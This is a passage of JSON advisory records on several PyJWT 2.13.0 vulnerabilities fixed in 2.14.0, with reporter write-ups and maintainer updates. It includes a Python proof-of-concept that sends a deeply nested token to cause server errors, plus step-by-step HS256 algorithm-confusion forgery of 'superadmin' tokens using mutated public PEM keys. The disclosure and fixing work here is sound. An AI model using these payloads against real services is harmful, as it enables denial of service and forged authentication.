version.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-29T23:43:19.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-9j54-fg26-wv3r","https://nvd.nist.gov/vuln/detail/CVE-2026-102266","https://github.com/jpadilla/pyjwt/commit/f91ed44dd65baaf457f4b3353ed35e98a753934c","https://github.com/jpadilla/pyjwt/releases/tag/2.14.0","https://github.com/advisories/GHSA-9j54-fg26-wv3r"],"source_kind":"github","identifiers":["GHSA-9j54-fg26-wv3r","CVE-2026-102266"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-30T00:00:10.164Z","updated_at":"2026-12-03T11:01:59.229Z","epss_percentage":0.00225,"epss_percentile":0.14011,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05ajU0LWZnMjYtd3Yzcs4AB7FG","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05ajU0LWZnMjYtd3Yzcs4AB7FG","affected_repository_urls":[],"packages":[{"ecosystem":"pypi","package_name":"PyJWT","versions":[{"first_patched_version":"2.14.0","vulnerable_version_range":"\u003e= 2.13.0, \u003c 2.14.0"}],"purl":"pkg:pypi/pyjwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05ajU0LWZnMjYtd3Yzcs4AB7FG/related_packages","related_advisories":[{"uuid":"CVE-2026-102266","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/102xxx/CVE-2026-102266.json"},{"uuid":"USN-8916-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8916-1"},{"uuid":"DEBIAN-CVE-2026-102266","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-102266"}]},{"uuid":"GSA_kwCzR0hTQS04d2p2LTJwNzYtMzg2M84AB7FF","url":"https://github.com/advisories/GHSA-8wjv-2p76-3863","title":"PyJWT: Uncaught RecursionError in jwt.decode() on deeply nested token header","description":"## Package\n\npyjwt (PyPI)\n\n## Affected versions\n\ntested \u0026 verified on: 2.13.0. Every version whose `PyJWS._load()` translates only `ValueError` is affected\n\n## Description\n\n`PyJWS._looad()` (`jwt/api_jws.py:337`) splits the compact token, base64url decodes the header segment and hands it to `json.loads()` before `_verify_signature()` runs. The parse is wrapped in `except ValueError as e: raise DecodeError(...)`. That is what makes the documented contract sufficient for untrusted input: `except jwt.PyJWTError` (or `InvalidTokenError`) around `jwt.decode(token, key, algorithms=[...])`.\n\nCPython's JSON decoder raises `RecursionError` (a `RuntimeError` subclass, not a `ValueError`) once nesting crosses the native stack guard. That exception leaves `_load()`, then `jwt.decode()`, and matches no `PyJWTError` handlerr at all. No key and no valid signature are needed: the header is parsed first, so a single unauthenticated request with an unsigned token suffices.\n\nScope: the recursion threshold is ~65,000 nesting levels; below it the same input yields a clean `DecodeError` (a 346,800-byte flat header is rejected normally, so depth, not size, is the trigger). A token this large cannot ride in an `Authorization` header (rejected at HTTP field limits,431 under gunicorn), but body transport (RFC 7662 introspection style) is a standard pattern. Under Flask 3.1.3 / gunicorn 26.2.0 each crafted request returns HTTP 500 instead of 401 and writes a full traceback to the error log; the sync worker survives.\n\n## Proof of concept\n\nAgainst any endpoint that validates a token from its JSON body with the documented pattern:\n\n```python\nimport base64, json, http.client\n\ndef b64url(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\")\n\n# unsigned token: the header segment is 200,000 nested '[' (266,681 bytes total)\ntoken = (b64url(b\"[\" * 200_000) + b\".\" + b64url(b'{\"a\":1}') + b\".\" + b64url(b\"x\")).decode()\n\nconn = http.client.HTTPConnection(\"127.0.0.1\", 8125, timeout=30)\nconn.request(\"POST\", \"/api/protected\", body=json.dumps({\"token\": token}),\n             headers={\"Content-Type\": \"application/json\"})\nprint(conn.getresponse().status)   # 500, expected 401\n```\n\nDeterminism: 20/20 crafted requests returned 500 against the reference container (PyJWT 2.13.0, Flask 3.1.3, gunicorn 26.2.0, Python 3.14.7) in 0.12 s (about 6 ms per request in a tight loop, 14 ms for a cold request), each leaving a `RecursionError: Stack overflow ... while decoding a JSON array` traceback in the error log.\n\n## Impact\n\nAn unauthenticated attacker can turn every request to a JWT validating endpoint into a server error with a full traceback logged per request, a cheap and repeatable denial of service on the authentication path (no crash, no data exposure).\n\n## Fix\n\nCatch `RecursionError` alongside `ValueError` in `_load()` and raise `DecodeError`, or parse the header with a nonrecursive, depthbounded parser.\n\n## Reproduction\n\nA standalone package (docker-compose.yml, Dockerfile, requirements.txt, target app, driver) accompanies this report:\n\n```\ncd \u003cpackage dir\u003e\ndocker compose up -d --build\npython3 poc_check_then_attack.py\ndocker compose down -v\n```\n[poc_pyjwt_recursion.zip](https://github.com/user-attachments/files/31614987/poc_pyjwt_recursion.zip)\n\nExit 0= reproduced (control checks green, exactly one crafted request returns 500, traceback verified in `docker logs`, service alive afterwards); 1 = not reproduced; 2 = checks failed, no attack sent. The package's `run_log.txt` documents a complete proof run.\n\n## Credits\n\n- @Nivid42\n\n## Maintainer update — 2026-09-09\n\nWe reproduced the reported behavior on PyJWT 2.13.0: a deeply nested JSON array in the untrusted compact-JWS header reaches `json.loads()` before signature verification and raises `RecursionError`, which is not a `PyJWTError`. The same input is accepted by the public `jwt.decode()` path and can escape an application's normal `except PyJWTError` handling.\n\nThe fix is committed as `06573692ebcdec8831c3927513b3e87c31fbbb62`. `PyJWS._load()` now translates both `ValueError` and `RecursionError` from header JSON parsing into `DecodeError`. A regression test covers the deeply nested-header path before signature verification. The full suite passes with 373 tests and 4 intentional cryptography-environment skips.\n\nNo release containing the fix has been published yet, so the patched version remains unset pending release planning. The advisory remains medium severity and unpublished.\n\n## Maintainer update — 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-29T23:43:06.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-8wjv-2p76-3863","https://nvd.nist.gov/vuln/detail/CVE-2026-102265","https://github.com/jpadilla/pyjwt/commit/06573692ebcdec8831c3927513b3e87c31fbbb62","https://github.com/jpadilla/pyjwt/releases/tag/2.14.0","https://github.com/advisories/GHSA-8wjv-2p76-3863"],"source_kind":"github","identifiers":["GHSA-8wjv-2p76-3863","CVE-2026-102265"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-30T00:00:10.164Z","updated_at":"2026-12-03T11:01:59.230Z","epss_percentage":0.00343,"epss_percentile":0.29828,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04d2p2LTJwNzYtMzg2M84AB7FF","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04d2p2LTJwNzYtMzg2M84AB7FF","affected_repository_urls":[],"packages":[{"ecosystem":"pypi","package_name":"pyJWT","versions":[{"first_patched_version":"2.14.0","vulnerable_version_range":"\u003e= 2.13.0, \u003c 2.14.0"}],"purl":"pkg:pypi/pyjwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04d2p2LTJwNzYtMzg2M84AB7FF/related_packages","related_advisories":[{"uuid":"CVE-2026-102265","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/102xxx/CVE-2026-102265.json"},{"uuid":"UBUNTU-CVE-2026-102265","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9212-1"},{"uuid":"USN-9212-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9212-1"},{"uuid":"DEBIAN-CVE-2026-102265","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-102265"}]},{"uuid":"GSA_kwCzR0hTQS1oeG04LTJ4Z3ItMnA5bc4AB7FE","url":"https://github.com/advisories/GHSA-hxm8-2xgr-2p9m","title":"PyJWT: Non-canonical signature segments enable raw-token revocation bypass","description":"## Summary\n\nPyJWT 2.13.0 accepts compact JWS signature segments containing characters that\nare not in the Base64URL alphabet. Appending `!!!!` to a valid signature does\nnot change the decoded signature bytes or authenticated claims, but it changes\nthe serialized token and its SHA-256 hash. An application that indexes logout\nor revocation state by the raw token therefore rejects the logged-out token and\naccepts its no-key alternate serialization.\n\nThis report separates two issues: permissive compact-JWS decoding is the\nlibrary behavior, while using raw serialized JWT text as a security identity is\na dangerous application composition. A `jti`-indexed control blocks both\nrepresentations.\n\n## Affected Version\n\nConfirmed with PyJWT 2.13.0 on CPython 3.13. The mutation changes only the\nsignature segment and requires no signing key.\n\n## End-to-End Reproduction\n\n```bash\n.venv-research/bin/python 06-practical-testing/revocation-bypass-lab.py\n```\n\nThe loopback-only lab performs:\n\n1. Issue a valid HS256 admin token.\n2. Access `/protected` successfully.\n3. Log out the canonical token and store `SHA256(raw_token)`.\n4. Confirm canonical replay returns HTTP 401.\n5. Append `!!!!` to only the signature segment.\n6. Confirm the mutated token has the same verified claims and signature bytes,\n   a different raw hash, and receives HTTP 200.\n7. Repeat with `jti`-indexed revocation and confirm both forms return HTTP 401.\n\nObserved statuses for raw-token revocation were `200 -\u003e logout -\u003e 401` for the\ncanonical token and `200` for the alternate serialization. The `jti` control\nreturned `401` for both replays after logout.\n\n## Security Boundaries and Severity\n\nThis is not signature forgery: the attacker starts with a valid token and\ncannot alter its claims. Impact requires a consumer to bind revocation, replay\nstate, rate limits, or cache identity to the raw compact string. Under that\ncomposition, an authenticated user can bypass logout or token-specific\nrevocation without the signing key. Medium is suggested for triage because the\nsecurity impact is real but application-dependent.\n\n## Recommended Fix\n\n- Reject signature segments containing characters outside `[A-Za-z0-9_-]`.\n- Reject padding and other non-canonical Base64URL encodings for compact JWS.\n- Add regression tests proving malformed signature encodings fail before or\n  during verification.\n- Document that applications must use a semantic identifier such as `jti`, not\n  the raw serialized token, for revocation and replay state.\n\n## Maintainer update — 2026-09-09\n\nWe reproduced the reported behavior on the verified `master` commit `8915570`: appending `!!!!` to a valid compact-JWS signature segment is accepted, produces the same decoded signature bytes and claims, and changes the serialized token hash. Existing JWS verification controls pass. The behavior is present in the tested release range represented by tags `2.4.0`, `2.8.0`, `2.10.1`, `2.12.1`, and `2.13.0`.\n\nThe security impact is conditional on an application using the raw serialized token as the identity for logout, revocation, replay, rate-limit, or cache state. Under that composition, an attacker who already holds a valid token can use an alternate serialization after the canonical string is revoked. This is not signature forgery or claim alteration; applications should use a semantic identifier such as `jti` for token identity.\n\nThe report is ready to be accepted as a draft for continued remediation. A narrow fix assessment recommends rejecting non-canonical Base64URL characters and padding in compact-JWS segments. No fix commit or release is claimed yet.\n\n### Maintainer update — 2026-09-09\n\nThe fix has been rebased onto the current `master` as `e6f48401001609a8f99e71fcaf355fb895d508a8` and is ready to be pushed. Compact-JWS header, payload, and signature segments are now required to use the unpadded Base64URL alphabet and canonical re-encoding; a signature segment containing non-canonical characters such as `!!!!` is rejected before verification. Valid detached `b64=false` handling remains supported.\n\nVerification on the rebased fix commit passed 372 tests with 4 intentional cryptography-environment skips; Ruff formatting/lint and `git diff --check` passed. The compressed-payload regression fixture was updated to valid canonical compact-JWS encoding. No release containing the fix has been published yet, so the patched version remains unset pending release planning.\n\nThe advisory remains medium severity and unpublished.\n\n## Classification update — 2026-09-10\n\nWe completed the advisory classification review. The proposed CVSS 3.1 vector is `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N` and the proposed CWE classification is CWE-180. The issue permits alternate non-canonical serializations of an already valid signed token to bypass applications that identify tokens by their raw serialization; it does not forge signatures or alter claims. CWE-180 captures validation/canonicalization ordering.\n\nThese metadata changes do not alter the affected range, fix status, or lifecycle state.\n\n## Maintainer update — 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-29T23:17:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-hxm8-2xgr-2p9m","https://nvd.nist.gov/vuln/detail/CVE-2026-102269","https://github.com/jpadilla/pyjwt/commit/e6f48401001609a8f99e71fcaf355fb895d508a8","https://github.com/jpadilla/pyjwt/releases/tag/2.14.0","https://github.com/advisories/GHSA-hxm8-2xgr-2p9m"],"source_kind":"github","identifiers":["GHSA-hxm8-2xgr-2p9m","CVE-2026-102269"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-30T00:00:10.164Z","updated_at":"2026-12-03T11:01:59.231Z","epss_percentage":0.00224,"epss_percentile":0.13859,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oeG04LTJ4Z3ItMnA5bc4AB7FE","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oeG04LTJ4Z3ItMnA5bc4AB7FE","affected_repository_urls":[],"packages":[{"ecosystem":"pypi","package_name":"PyJWT","versions":[{"first_patched_version":"2.14.0","vulnerable_version_range":"\u003c= 2.13.0"}],"purl":"pkg:pypi/pyjwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oeG04LTJ4Z3ItMnA5bc4AB7FE/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2026-102269","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-102269"},{"uuid":"CVE-2026-102269","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/102xxx/CVE-2026-102269.json"},{"uuid":"UBUNTU-CVE-2026-102269","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9177-1"},{"uuid":"USN-9177-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9177-1"}]},{"uuid":"GSA_kwCzR0hTQS1mZmMzLTg2OWYtanh3Oc4AB7FD","url":"https://github.com/advisories/GHSA-ffc3-869f-jxw9","title":"PyJWT: Asymmetric-PEM detection bypass: whitespace/line-ending-mutated public keys skip the HS/asymmetric confusion guard","description":"**Prerequisites** (both conditions must hold; both are deployment properties, not attacker-controlled at request time):\n\n- The `jwt.decode` allow-list mixes an HMAC algorithm with an asymmetric one, e.g. `algorithms=[\"ES256\", \"HS256\"]` (the RFC 8725 footgun the guard exists to backstop).\n- The verification key is passed as raw PEM text/bytes on the non-`PyJWK` path, in a byte-form that `cryptography`'s loader accepts but PyJWT's `is_pem_format` regex does not recognize (marker-adjacent whitespace/indentation, CR-only line terminators, or the PEM folded to a single line). Such forms arise naturally from an indented YAML/JSON block, a single-line environment variable or JSON string, or a CR/LF round-trip through config tooling.\n\nThe attacker additionally needs the public verification key, which is public by definition, and `cryptography` must be installed.\n\nThe fix for CVE-2022-29217 rejects an asymmetric key handed to an HMAC algorithm, but only when `is_pem_format()` recognizes the key as PEM. That recognizer accepts strictly fewer byte-forms than the loader that later parses the key, so a PEM the guard misses still loads as a valid public key and is then used as an HMAC secret. This is an incomplete-guard bypass of the CVE-2022-29217 family.\n\n### Summary\nA PEM public key with marker-adjacent whitespace, CR-only line terminators, or folded to a single line makes PyJWT's `is_pem_format()` return `False` while `cryptography.load_pem_public_key()` accepts the identical bytes. The asymmetric-key rejection in `HMACAlgorithm.prepare_key` is skipped, the public key becomes the HMAC secret, and an attacker who knows the public key mints a valid `HS256` token — universal forgery — whenever the verify allow-list mixes an HMAC and an asymmetric algorithm.\n\n### Details\nAt `jwt/algorithms.py:331-335`, `HMACAlgorithm.prepare_key` contains the sole family-mismatch guard:\n\n    if is_pem_format(key_bytes) or is_ssh_key(key_bytes):\n        raise InvalidKeyError(\n            \"The specified key is an asymmetric key or x509 certificate and\"\n            \" should not be used as an HMAC secret.\"\n        )\n\nIf neither predicate fires, `:357` returns `key_bytes` unchanged — the PEM text is used directly as the HMAC secret.\n\n`is_pem_format` (`jwt/utils.py:116-127`) is `bool(_PEM_RE.search(key))`, where `_PEM_RE` requires `----[- ]BEGIN (...)[- ]----\\r?\\n`, then `.+?\\r?\\n`, then the END marker. The LF in each `\\r?\\n` is mandatory, the markers are anchored directly after a newline, and only `[- ]` is tolerated adjacent to them — not arbitrary whitespace. So a key with a tab/space before the END marker, with bare `\\r` terminators, or folded onto one line is not recognized as PEM. `cryptography`'s `load_pem_public_key` is tolerant of exactly these forms and still returns the key.\n\nReach: `jwt/api_jws.py:386` performs the allow-list check (passes when `HS256` is in the list) and takes the non-`PyJWK` branch to `alg_obj.prepare_key(key)` at `:407`. The mismatch guard above is the only thing standing between a mixed allow-list and using the public key as an HMAC secret.\n\n### PoC\nVulnerable path: `jwt/algorithms.py:331` (guard gated on `is_pem_format`) -\u003e `is_pem_format` returns `False` for a loader-accepted PEM -\u003e `jwt/algorithms.py:357` returns the public-key bytes as the HMAC secret -\u003e `HS256` verification succeeds.\n\nReproduced on PyJWT 2.13.0 (commit `7144e453`) with `cryptography` 49.0.0, using only the public API. For each of an EC (ES256) and an RSA-2048 (RS256) key: start from the correct public-key PEM, apply a mutation, confirm `is_pem_format` now returns `False` while `cryptography` still loads the bytes, then verify a token signed `alg=HS256` with the public-key text as the HMAC secret, under `algorithms=[\"ES256\",\"HS256\"]` (resp. `[\"RS256\",\"HS256\"]`).\n\nObserved output:\n\n    pyjwt 2.13.0\n      ec  canonical (control)                is_pem_format=True  crypto_loads=True  forgery=BLOCKED:InvalidKeyError\n      ec  marker-adjacent (tab before END)   is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)\n      ec  CR-only terminators                is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)\n      ec  folded single-line                 is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)\n      rsa canonical (control)                is_pem_format=True  crypto_loads=True  forgery=BLOCKED:InvalidKeyError\n      rsa marker-adjacent (tab before END)   is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)\n      rsa CR-only terminators                is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)\n      rsa folded single-line                 is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)\n      [control B] single-alg [ES256] allow-list vs forged HS256: REJECTED:InvalidAlgorithmError\n    RESULT: ALL-INVARIANTS-HOLD\n\nEach mutated form on both key types forged a token accepted as `superadmin`. Controls: the unmodified PEM is correctly rejected with `InvalidKeyError` (the guard works and the mutation is load-bearing); a single-algorithm allow-list `[\"ES256\"]` rejects the forged `HS256` token with `InvalidAlgorithmError` (the mixed allow-list is a necessary precondition).\n\nSteps to reproduce:\n1. Generate an EC P-256 (or RSA-2048) keypair; serialize the public key to PEM.\n2. Mutate the PEM into a loader-accepted, regex-missed form — e.g. insert a tab before `-----END`, convert terminators to bare `\\r`, or join all lines into one.\n3. Confirm `jwt.utils.is_pem_format(mutated) is False` and `cryptography.hazmat.primitives.serialization.load_pem_public_key(mutated)` succeeds.\n4. `jwt.encode({\"sub\":\"superadmin\"}, mutated, algorithm=\"HS256\")`, then `jwt.decode(token, mutated, algorithms=[\"ES256\",\"HS256\"])` — verification succeeds.\n\n### Impact\nCryptographic signature-verification bypass (CWE-347): algorithm confusion re-enabled by an incomplete asymmetric-key guard. An attacker who knows only the public verification key forges arbitrary-claim tokens that verify as authentic, subject to the two deployment preconditions above. The `PyJWK` verification path binds a single algorithm and is unaffected; `enforce_minimum_key_length` (off by default) does not block a 2048-bit/P-256 PEM. Impact when the preconditions hold is critical (universal forgery); the compound precondition is realistic but was not observed in a specific real-world deployment, so this is rated Critical, with the deployment precondition captured in CVSS.\n\n## Maintainer update — 2026-09-10\n\nWe reproduced the reported asymmetric-key guard bypass on PyJWT 2.13.0: PEM public keys with loader-accepted formatting mutations were missed by `is_pem_format`, then accepted as HMAC secrets when a verification call mixed symmetric and asymmetric algorithms. Canonical PEM controls remained blocked, and a single-algorithm allow-list rejected the forged HS256 token.\n\nThe fix is committed as `8b4e233a22206b34ec1186e912e75c0b2396ac07`. PyJWT now scans supported PEM BEGIN/END markers in one pass, preserving matching labels and handling overlapping markers without regex backtracking. Regression coverage includes RSA loader-accepted mutations, incomplete repeated markers, later valid PEM blocks, and overlapping END/BEGIN markers. The fix does not broaden DER-key classification or change the caller's algorithm allow-list policy.\n\nVerification on the signed commit passes with 400 tests and 4 intentional cryptography-environment skips; Ruff formatting/lint and the Python 3.9 mypy tox target pass. Fresh Astra/max independent review accepted the final snapshot and confirmed O(n) scanning, bounded storage, and no blocking compatibility or security finding. The fix has not been released; the advisory remains Critical with CVSS 3.1 score 9.1 and CWE-347.\n\n## Maintainer update — 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-09-29T23:17:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-ffc3-869f-jxw9","https://nvd.nist.gov/vuln/detail/CVE-2026-102268","https://github.com/jpadilla/pyjwt/commit/8b4e233a22206b34ec1186e912e75c0b2396ac07","https://github.com/jpadilla/pyjwt/releases/tag/2.14.0","https://github.com/advisories/GHSA-ffc3-869f-jxw9"],"source_kind":"github","identifiers":["GHSA-ffc3-869f-jxw9","CVE-2026-102268"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-30T00:00:10.164Z","updated_at":"2026-12-03T11:01:59.231Z","epss_percentage":0.00266,"epss_percentile":0.20037,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZmMzLTg2OWYtanh3Oc4AB7FD","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mZmMzLTg2OWYtanh3Oc4AB7FD","affected_repository_urls":[],"packages":[{"ecosystem":"pypi","package_name":"PyJWT","versions":[{"first_patched_version":"2.14.0","vulnerable_version_range":"\u003c= 2.13.0"}],"purl":"pkg:pypi/pyjwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZmMzLTg2OWYtanh3Oc4AB7FD/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2026-102268","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-102268"},{"uuid":"CVE-2026-102268","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/102xxx/CVE-2026-102268.json"},{"uuid":"UBUNTU-CVE-2026-102268","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8916-2"},{"uuid":"USN-8916-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8916-1"}]},{"uuid":"GSA_kwCzR0hTQS13MmN4LTczOG0tbWM3d84AB7FC","url":"https://github.com/advisories/GHSA-w2cx-738m-mc7w","title":"PyJWT accepts public JWK containers as HMAC secrets","description":"### Summary\n\nPyJWT 2.13.0 contains an incomplete defense against algorithm confusion when\nan application mixes symmetric and asymmetric algorithms in one verification\npath. A public RSA, EC, or OKP JWK can be accepted as an HMAC secret when it\nis wrapped in a JWKS object, nested in an array, or represented in another\ncontainer form that does not expose a top-level `kty` member.\n\n### Impact\n\nAn attacker who knows the public key material can forge HS256/HS384/HS512\ntokens if the application simultaneously:\n\n* allows both HS* and asymmetric algorithms;\n* passes raw public JWK/JWKS JSON as `key=`; and\n* uses that same value as the HMAC secret.\n\nThis can allow forged JWT claims in affected application configurations. The\nissue does not affect applications that keep symmetric and asymmetric\nverification paths separate and follow PyJWT's algorithm-selection guidance.\n\n### Fix status\n\nThe fix is on `master` in commit `801cd12` (`fix: reject public JWK container\nHMAC keys`). `HMACAlgorithm.prepare_key` now rejects public JWK members found in\nobjects, arrays, nested containers, BOM/UTF variants, and recursion-limit\ninputs. It also recognizes escaped JSON member names without treating ordinary\nstring values as JWKs. Ordinary JSON secrets remain accepted byte-for-byte.\n\nThe change was tested with focused regression tests and the full local tox\nmatrix. Available Python 3.9, 3.12, and 3.13 crypto/no-crypto suites, mypy,\npackage metadata, and coverage passed; unavailable interpreters were skipped\nby the project configuration. A fresh independent Astra/max security review\naccepted the final diff with no blocking findings.\n\nThe affected range is `= 2.13.0`. The fix is on the unreleased development\nbranch; the patched version will be recorded when a released 2.x version\ncontaining the fix is available. This advisory is being moved to draft pending\nthat release.\n\n### Reporter credit\n\nCredit: Charles Vosburgh / Trilobyte.\n\n### Original report\n\nThe original report and reproduction package are retained in the private\nadvisory record.\n\n## Maintainer update — 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-29T23:16:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-w2cx-738m-mc7w","https://nvd.nist.gov/vuln/detail/CVE-2026-102273","https://github.com/jpadilla/pyjwt/commit/801cd128528c62d9b23fcd161d1a2e1c17982f95","https://github.com/jpadilla/pyjwt/releases/tag/2.14.0","https://github.com/advisories/GHSA-w2cx-738m-mc7w"],"source_kind":"github","identifiers":["GHSA-w2cx-738m-mc7w","CVE-2026-102273"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-30T00:00:10.164Z","updated_at":"2026-12-03T11:01:59.232Z","epss_percentage":0.00175,"epss_percentile":0.07255,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13MmN4LTczOG0tbWM3d84AB7FC","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13MmN4LTczOG0tbWM3d84AB7FC","affected_repository_urls":[],"packages":[{"ecosystem":"pypi","package_name":"PyJWT","versions":[{"first_patched_version":"2.14.0","vulnerable_version_range":"= 2.13.0"}],"purl":"pkg:pypi/pyjwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13MmN4LTczOG0tbWM3d84AB7FC/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2026-102273","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-102273"},{"uuid":"CVE-2026-102273","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/102xxx/CVE-2026-102273.json"},{"uuid":"UBUNTU-CVE-2026-102273","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8916-2"},{"uuid":"USN-8916-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8916-1"}]},{"uuid":"GSA_kwCzR0hTQS05djdmLTlnNHAtZmZnas4AB7FB","url":"https://github.com/advisories/GHSA-9v7f-9g4p-ffgj","title":"PyJWT: PyJWKClient follows redirects when fetching JWKS","description":"### Summary\n\nPyJWT 2.13.0 `PyJWKClient` followed HTTP redirects while fetching a JWKS,\nwithout validating the redirect destination. A configured trusted endpoint\ncould therefore redirect the client to a different host.\n\n### Impact\n\nWhen an application uses `PyJWKClient` with caller-supplied request headers and\nan attacker can influence the configured endpoint's response, the redirected\nrequest could expose those headers and the redirected response could be used as\nauthoritative key material. This could cause JWKS trust poisoning and, in\naffected mixed-configuration applications, forged JWT acceptance. The issue\nrequires an attacker-influenced redirect from the configured JWKS endpoint; it\nis not triggered by a token `kid` alone.\n\n### Affected versions\n\nPyJWT `\u003c= 2.13.0`.\n\n### Fix\n\nThe issue is fixed on `master` in commit\n[`0a795b8e1f6ef08f634aa7086fc41cc6d5ce3e56`](https://github.com/jpadilla/pyjwt/commit/0a795b8e1f6ef08f634aa7086fc41cc6d5ce3e56).\n`PyJWKClient` now disables automatic redirects for JWKS fetches. Regression\ntests verify that a redirect is rejected without contacting its destination,\nwhile normal fetches, headers, caching, errors, timeouts, and SSL context remain\ncovered.\n\nThe fix is present in the unreleased development branch. The patched version\nwill be recorded after a released PyJWT 2.x version containing the fix is\nconfirmed.\n\n### Credit\n\nCredit: the original reporter of GHSA-9v7f-9g4p-ffgj. Additional redirect\nheader-leak and cache-poisoning evidence from the newer duplicate report\nGHSA-43g3-98cx-x446 is preserved in the duplicate record and informed this\ncanonical advisory update.\n\n## Maintainer update — 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched 